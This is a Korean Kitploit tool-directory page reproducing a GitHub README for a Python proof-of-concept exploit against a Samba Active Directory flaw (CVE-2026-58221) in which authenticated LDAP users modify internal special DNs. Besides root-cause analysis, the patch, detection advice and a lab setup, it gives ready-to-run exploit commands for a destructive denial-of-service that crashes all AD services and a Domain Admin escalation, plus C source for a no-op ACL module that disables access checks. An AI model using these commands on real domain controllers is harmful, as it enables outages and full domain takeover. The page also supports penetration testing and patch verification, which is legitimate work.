Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-58221 — CVE-2026-58221에 대한 Python PoC: LDAP를 통해 Samba AD LDB 특수 DN ACL 우회를 검사하고 악용하여 쓰기 접근을 입증하거나, AD 서비스를 중단시키거나, Domain Admin으로 권한을 상승시킵니다. | Kitploit
도구/GitHubGitHub/devali00/cve-2026-58221
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLabs & Practice
GitHubdevali00/cve-2026-58221

CVE-2026-58221

CVE-2026-58221에 대한 Python PoC: LDAP를 통해 Samba AD LDB 특수 DN ACL 우회를 검사하고 악용하여 쓰기 접근을 입증하거나, AD 서비스를 중단시키거나, Domain Admin으로 권한을 상승시킵니다.

저장소 보기
1개월 전아직 검토되지 않음
공유

CVE-2026-58221 — LDB 특수 DN 수정을 통한 Samba AD 도메인 탈취

CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

인증된 모든 도메인 사용자는 LDAP를 통해 내부 Samba LDB 특수 레코드(@MODULES, @PARTITION, @SAMBA_DSDB)를 수정할 수 있으며, 이로 인해 서비스 거부(모든 AD 서비스 중단) 또는 도메인 관리자 권한 상승(로컬 파일 시스템 접근 권한이 있는 경우)이 발생할 수 있습니다.

영향을 받는 버전

상태버전
취약Samba AD DC >= 4.0.0 (패치 이전의 모든 버전)
수정됨4.22.11, 4.23.x, 4.24.x

보안 공지: https://www.samba.org/samba/security/CVE-2026-58221.html

근본 원인

두 가지 결함이 결합되어 Samba의 내부 LDB 레코드에 대한 모든 접근 제어를 우회합니다:

결함 1: rootdse_filter_operations() — 불충분한 인증 검사

source4/dsdb/samdb/ldb_modules/rootdse.c에서 rootdse_filter_operations() 함수는 LDAP 요청 체인의 첫 번째 필터입니다. 이 함수는 익명 호출자만 차단하며, 권한에 관계없이 인증된 모든 사용자는 통과됩니다:

// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // Only blocks anonymous — all authenticated users pass through
    if (session_info->security_token == anonymous_token) {
        return LDB_ERR_OPERATIONS_ERROR;
    }
    return ldb_next_request(module, req);  // → passes to ACL module
}

결함 2: acl.c — 특수 DN ACL 우회

source4/dsdb/samdb/ldb_modules/acl.c에서 ACL 모듈은 LDB 특수 DN(@로 시작하는 DN)에 대해 모든 권한 검사를 건너뛰며, 신뢰할 수 있는 내부 작업만 해당 DN에 도달한다고 가정합니다:

// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
    return ldb_next_request(module, req);  // NO permission check!
}

결합된 효과: 인증된 저권한 도메인 사용자가 @MODULES를 대상으로 LDAP 수정 요청을 보냅니다. 이 요청은 rootdse_filter_operations()를 통과하고(익명이 아님), acl.c에 도달하며, 여기서 특수 DN을 인식하여 모든 ACL 검사를 건너뜁니다 — 수정이 성공합니다.

패치 (4.22.11+)

이 수정은 요청이 ACL 모듈에 도달하기 전에 rootdse_filter_operations()에 ldb_dn_is_special() 검사를 추가합니다:

// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // NEW: Block all operations on special DNs from external connections
    if (ldb_dn_is_special(req->op.*.message->dn)) {
        D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
        return LDB_ERR_OPERATIONS_ERROR;
    }
    // ... rest of function
}

아키텍처 심층 분석

LDB (Lightning Database)

LDB는 Samba의 내부 데이터베이스(sam.ldb)로, Windows의 NTDS.dit에 해당합니다. 모든 Active Directory 객체를 저장하며, 요청을 처리하기 위해 모듈 체인 아키텍처를 사용합니다.

samba_dsdb 메타 모듈

samba_dsdb는 전체 Samba 모듈 체인(약 30개 모듈)을 초기화하는 단일 진입점입니다. 이 모듈은 다음을 수행합니다:

  1. samba_dsdb.c에서 하드코딩된 모듈 목록(modules_list1, modules_list1a, tdb_modules_list, modules_list2)을 읽습니다
  2. forced_module_msg 불투명 값을 설정합니다 — 이는 데이터베이스에 저장된 모든 @PARTITION/modules 값을 덮어씁니다
  3. 다른 모든 모듈이 의존하는 rootDSE, 파티션 및 불투명 값을 초기화합니다

이 때문에 개별 모듈은 단독으로 로드할 수 없으며, samba_dsdb가 제공하는 컨텍스트 없이는 Protocol error (2)와 함께 충돌합니다. 또한 데이터베이스의 @PARTITION/modules를 수정해도 실행 중인 모듈 체인에는 아무런 영향이 없는 이유이기도 합니다.

주요 특수 DN

DN용도수정 영향
@MODULES/@LIST연결별로 Samba가 로드하는 모듈을 제어충돌 (samba_dsdb에서 변경한 경우)
@PARTITION파티션 구성 및 파티션별 모듈무시됨 (forced_module_msg에 의해 덮어쓰기됨)
@SAMBA_DSDB내부 samba_dsdb 구성충돌

익스플로잇 방법

방법 1: safe-write (비파괴적) ✅

@MODULES에 동일한 값(@LIST: samba_dsdb)을 다시 씁니다. 서비스에 아무런 영향을 주지 않으면서 쓰기 접근 권한을 입증합니다. 침투 테스트에 권장됩니다.

python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write

방법 2: dos (파괴적) ⚠️

@MODULES/@LIST를 개별 모듈 이름으로 대체합니다(acl/aclread 제외). 다음 연결 시 모듈이 samba_dsdb 컨텍스트 없이 초기화에 실패하여 → 모든 AD 서비스가 중단됩니다(LDAP, SMB, Kerberos, DNS).

python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force

영향: 전체 AD 중단. 복구하려면 로컬 콘솔 접근이 필요합니다. 모든 도메인 인증이 중단됩니다.

방법 3: escalate (도메인 관리자 — 로컬 접근 필요) 🔴

도메인 관리자 권한을 획득하기 위한 전체 익스플로잇 체인:

  1. LDAP를 통해 @MODULES가 쓰기 가능한지 확인 (원격)
  2. 모든 요청을 그대로 통과시키는 no-op ACL 모듈 컴파일 (로컬)
  3. acl.so / aclread.so를 no-op 버전으로 교체 (로컬)
  4. no-op 모듈을 로드하기 위해 Samba 재시작 (로컬)
  5. LDAP를 통해 대상 사용자를 Domain Admins에 추가 (원격 — ACL 우회됨)
  6. DA 멤버십 검증 (원격)
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=user,CN=Users,DC=domain,DC=local'

No-op ACL 모듈 소스:

#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
    return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
    .name="acl", .add=noop, .modify=noop,
    .del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
    return ldb_register_module(&ops);
}

도구 모드

모드영향요구 사항
--check없음 (안전)LDAPS + 도메인 자격 증명
--assess없음 (분석)LDAPS + 도메인 자격 증명
--exploit --method safe-write없음 (쓰기 증명)LDAPS + 도메인 자격 증명
--exploit --method dos전체 AD 중단LDAPS + 도메인 자격 증명
--exploit --method escalate도메인 관리자LDAPS + 도메인 자격 증명 + DC에 대한 sudo
--cleanup권한 상승 되돌림LDAPS + 도메인 자격 증명 + DC에 대한 sudo
--fix중단된 DC 복구DC의 로컬 콘솔

사용 예시

# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method safe-write

# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method dos --force

# Full Domain Admin escalation (requires sudo on DC)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'

# Reverse all changes after escalation
python3 exploit.py --cleanup -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=testuser,CN=Users,DC=domain,DC=local'

# Fix crashed DC (run on the DC itself as root)
python3 exploit.py --fix

사전 요구 사항

  • ldap-utils (ldapsearch, ldapmodify) — apt install ldap-utils
  • Python 3.6+
  • 대상 DC에 대한 LDAPS 연결 (포트 636)
  • 유효한 도메인 자격 증명 (인증된 사용자라면 누구나 가능 — 특별한 권한 불필요)
  • escalate/cleanup의 경우: DC에 대한 sudo 접근 권한 + gcc, libldb-dev, pkg-config

증거 수집

모든 모드는 각 단계에 대해 타임스탬프가 기록된 항목을 담은 cve-2026-58221-evidence.json 파일을 자동으로 생성하며, 침투 테스트 보고서에 포함하기에 적합합니다.

해결 방안

  1. Samba 업그레이드 — >= 4.22.11 (또는 4.23.x / 4.24.x 브랜치의 최신 버전)
  2. --check 모드를 실행하여 패치 확인 — "NOT VULNERABLE"이 반환되어야 함
  3. CVE-2026-58221-ATTACK 항목(패치에 의해 추가됨)이 있는지 로그 모니터링

탐지

패치(4.22.11+)는 차단된 시도를 기록합니다:

D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...))

패치되지 않은 시스템에서는 @로 시작하는 DN을 대상으로 하는 LDAP modify 작업을 모니터링하십시오.

실습 환경 구성

이 PoC를 안전하게 테스트하려면 격리된 환경에서 Samba AD DC를 프로비저닝하십시오:

# Debian 12 / Ubuntu 22.04+
apt install samba smbclient winbind krb5-user ldap-utils

# Provision domain
samba-tool domain provision \
  --realm=LAB.LOCAL --domain=LAB \
  --server-role=dc --dns-backend=SAMBA_INTERNAL \
  --adminpass='YourAdminPass!'

# Configure LDAPS
# (TLS certs are auto-generated in /var/lib/samba/private/tls/)
# Add to /etc/samba/smb.conf [global]:
#   tls enabled  = yes
#   tls keyfile  = /var/lib/samba/private/tls/key.pem
#   tls certfile = /var/lib/samba/private/tls/cert.pem
#   tls cafile   = /var/lib/samba/private/tls/ca.pem
#   ldap server require strong auth = allow_sasl_over_tls

systemctl start samba-ad-dc

# Create test user
samba-tool user create testuser 'TestP@ss123!'

면책 조항

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

아직 인기 데이터가 없습니다.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →